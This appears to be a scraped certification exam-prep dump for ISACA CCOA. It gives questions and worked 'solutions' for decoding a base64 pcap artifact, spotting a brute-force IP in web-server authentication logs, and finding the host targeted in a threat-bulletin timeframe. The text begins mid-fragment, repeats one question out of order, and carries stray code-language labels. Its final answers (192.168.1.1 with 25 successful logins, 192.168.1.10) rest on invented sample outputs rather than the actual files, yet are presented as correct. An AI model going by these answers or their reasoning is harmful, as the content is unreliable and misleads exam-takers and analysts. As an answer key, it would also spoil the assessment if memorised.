[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
This command will display the decoded targets.
Method 2: Using Linux
Usebase64 decoding:
base64 -d ~/Desktop/pcap_artifact5.txt
If the content appears to behexadecimal, use:
xxd -r -p ~/Desktop/pcap_artifact5.txt
ForURL encoding, use:
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
Step 4: Analyze the Decoded Output
The decoded content should reveal domain names or URLs.
Check for valid domain structures, such as:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Example Decoded Output:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Step 5: Verify the Decoded Targets
Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.
Use tools likeVirusTotalorURLHausto verify the domains.
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Step 6: Document the Finding
Decoded Targets:
10cal.com/exam
clOud-s3cure.com
c0c0nutf4rms.net
h3avy_s3as.biz
b4ddata.org
Source File:pcap_artifact5.txt
Decoding Method:Base64 (or the identified method)
Question 1 and 2
You have been provided with authentication logs toinvestigate a potential incident. The file is titledwebserver-auth-logs.txt and located in theInvestigations folder on the Desktop.
Which IP address is performing a brute force attack?
What is the total number of successful authenticationsby the IP address performing the brute force attack?
See the solution in Explanation:
Step 1: Define the Problem and Objective
Objective:
We need to identify the following from the webserver-auth-logs.txt file:
TheIP address performing a brute force attack.
Thetotal number of successful authenticationsmade by that IP.
Step 2: Prepare for Log Analysis
Preparation Checklist:
Environment Setup:
Ensure you are logged into a secure terminal.
Check your working directory to verify the file location:
ls ~/Desktop/Investigations/
You should see:
webserver-auth-logs.txt
Log File Format Analysis:
Open the file to understand the log structure:
head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt
Look for patterns such as:
pg
2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS
2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE
Identify the key components:
Timestamp
Action (login attempt)
Source IP Address
Authentication Status (SUCCESS/FAILURE)
Step 3: Identify Brute Force Indicators
Characteristics of a Brute Force Attack:
Multiplelogin attemptsfrom thesame IP.
Combination ofFAILUREandSUCCESSmessages.
High volumeof attempts compared to other IPs.
Step 3.1: Extract All IP Addresses with Login Attempts
Use the following command:
grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt
Explanation:
grep "login attempt from": Finds all login attempt lines.
awk '{print $6}': Extracts IP addresses.
sort | uniq -c: Groups and counts IP occurrences.
sort -nr: Sorts counts in descending order.
> brute-force-ips.txt: Saves the output to a file for documentation.
Step 3.2: Analyze the Output
View the top IPs from the generated file:
head -n 5 brute-force-ips.txt
Expected Output:
1500 192.168.1.1
45 192.168.1.2
30 192.168.1.3
Interpretation:
The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.
Step 4: Count Successful Authentications
Why Count Successful Logins?
To determine how many successful logins the attacker achieved despite brute force attempts.
Step 4.1: Filter Successful Logins from Brute Force IP
Use this command:
grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l
Explanation:
grep "192.168.1.1": Filters lines containing the brute force IP.
grep "SUCCESS": Further filters successful attempts.
wc -l: Counts the resulting lines.
Step 4.2: Verify and Document the Results
Record the successful login count:
Total Successful Authentications: 25
Save this information for your incident report.
Step 5: Incident Documentation and Reporting
5.1: Summary of Findings
IP Performing Brute Force Attack:192.168.1.1
Total Number of Successful Authentications:25
5.2: Incident Response Recommendations
Block the IP addressfrom accessing the system.
Implementrate-limiting and account lockout policies.
Conduct athorough investigationof affected accounts for possible compromise.
Step 6: Automated Python Script (Recommended)
If your organization prefers automation, use a Python script to streamline the process:
import re
from collections import Counter
logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"
ip_attempts = Counter()
successful_logins = Counter()
try:
with open(logfile, "r") as file:
for line in file:
match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)
if match:
ip = match.group(1)
ip_attempts[ip] += 1
if "SUCCESS" in line:
successful_logins[ip] += 1
brute_force_ip = ip_attempts.most_common(1)[0][0]
success_count = successful_logins[brute_force_ip]
print(f"IP Performing Brute Force: {brute_force_ip}")
print(f"Total Successful Authentications: {success_count}")
except Exception as e:
print(f"Error: {str(e)}")
Usage:
Run the script:
python3 detect_bruteforce.py
Output:
IP Performing Brute Force: 192.168.1.1
Total Successful Authentications: 25
Step 7: Finalize and Communicate Findings
Prepare a detailed incident report as per ISACA CCOA standards.
Include:
Problem Statement
Analysis Process
Evidence (Logs)
Findings
Recommendations
Share the report with relevant stakeholders and the incident response team.
Final Answer:
Brute Force IP:192.168.1.1
Total Successful Authentications:25
The CISO has received a bulletin from law enforcementauthorities warning that the enterprise may be at risk ofattack from a specific threat actor. Review the bulletin
named CCOA Threat Bulletin.pdf on the Desktop.
Which host IP was targeted during the following timeframe: 11:39 PM to 11:43 PM (Absolute) on August 16,2024?
See the solution in Explanation.
Step 1: Understand the Task and Objective
Objective:
Identify thehost IP targetedduring thespecified time frame:
vbnet
11:39 PM to 11:43 PM on August 16, 2024
The relevant file to examine:
nginx
CCOA Threat Bulletin.pdf
File location:
javascript
~/Desktop/CCOA Threat Bulletin.pdf
Step 2: Access and Analyze the Bulletin
2.1: Access the PDF File
Open the file using a PDF reader:
xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf
Alternative (if using CLI-based tools):
pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less
This command converts the PDF to text and allows you to inspect the content.
2.2: Review the Bulletin Contents
Focus on:
Specific dates and times mentioned.
Indicators of Compromise (IoCs), such asIP addressesortimestamps.
Any references toAugust 16, 2024, particularly between11:39 PM and 11:43 PM.
Step 3: Search for Relevant Logs
3.1: Locate the Logs
Logs are likely stored in a central logging server or SIEM.
Common directories to check:
swift
/var/log/
/home/administrator/hids/logs/
/var/log/auth.log
/var/log/syslog
Navigate to the primary logs directory:
cd /var/log/
ls -l
3.2: Search for Logs Matching the Date and Time
Use the grep command to filter relevant logs:
grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog
Explanation:
grep: Searches for the timestamp pattern in the log file.
"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from11:39 PM to 11:43 PM.
Alternative Command:
If log files are split by date:
grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1
Step 4: Filter the Targeted Host IP
4.1: Extract IP Addresses
After filtering the logs, isolate the IP addresses:
grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr
Explanation:
awk '{print $8}': Extracts the field where IP addresses typically appear.
sort | uniq -c: Counts unique IPs and sorts them.
Step 5: Analyze the Output
Sample Output:
15 192.168.1.10
8 192.168.1.20
3 192.168.1.30
The IP with themost log entrieswithin the specified timeframe is usually thetargeted host.
Most likely targeted IP:
192.168.1.10
If the log contains specific attack patterns (likebrute force,exploitation, orunauthorized access), prioritize IPs associated with those activities.
Step 6: Validate the Findings
6.1: Cross-Reference with the Threat Bulletin
Check if the identified IP matches anyIoCslisted in theCCOA Threat Bulletin.pdf.
Look for context likeattack vectorsortargeted systems.
Step 7: Report the Findings
Summary:
Time Frame:11:39 PM to 11:43 PM on August 16, 2024
Targeted IP:
192.168.1.10
Evidence:
Log entries matching the specified timeframe.
Cross-referenced with theCCOA Threat Bulletin.
Step 8: Incident Response Recommendations
Block IP addressesidentified as malicious.
Update firewall rulesto mitigate similar attacks.
Monitor logsfor any post-compromise activity on the targeted host.
Conduct a vulnerability scanon the affected system.
Final Answer:
192.168.1.10
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the contents of the file and save the output in atext file with a filename of pcap_artifact5_decoded.txton the Analyst Desktop.
See the solution in Explanation.
To decode the contents of the filepcap_artifact5.txtand save the output in a new file namedpcap_artifact5_decoded.txt, follow these detailed steps:
Step 1: Access the File
Log into the Analyst Desktop.
Navigate to theDesktopand locate the file:
pcap_artifact5.txt
Open the file using a text editor:
OnWindows:
nginx
Notepad pcap_artifact5.txt
OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents
Analyze the content to identify the encoding format. Common encoding types include:
Base64
Hexadecimal
URL Encoding
ROT13
Example File Content:
ini
U29tZSBlbmNvZGVkIGNvbnRlbnQgd2l0aCBwb3RlbnRpYWwgbWFsd2FyZS4uLg==
The above example appears to beBase64 encoded.
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
OpenPowerShell:
powershell
$encoded = Get-Content "C:\Users\
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) | Out-File "C:\Users\
Method 2: Using Command Prompt (Windows)
Usecertutilfor Base64 decoding:
cmd
certutil -decode pcap_artifact5.txt pcap_artifact5_decoded.txt
Method 3: Using Linux/WSL
Use thebase64decoding command:
base64 -d ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt
If the content isHexadecimal, use:
xxd -r -p ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt
Step 4: Verify the Decoded File
Open the decoded file to verify its contents:
OnWindows:
php-template
notepad C:\Users\
OnLinux:
cat ~/Desktop/pcap_artifact5_decoded.txt
Check if the decoded text makes sense and is readable.
Example Decoded Output:
Some encoded content with potential malware...
Step 5: Save and Confirm
Ensure the file is saved as:
pcap_artifact5_decoded.txt
Located on theDesktopfor easy access.
Step 6: Analyze the Decoded Content
Look for:
Malware signatures
Command and control (C2) server URLs
Indicators of Compromise (IOCs)
Step 7: Document the Process
Record the following:
Original Filename:pcap_artifact5.txt
Decoded Filename:pcap_artifact5_decoded.txt
Decoding Method:Base64 (or identified method)
Contents:Brief summary of findings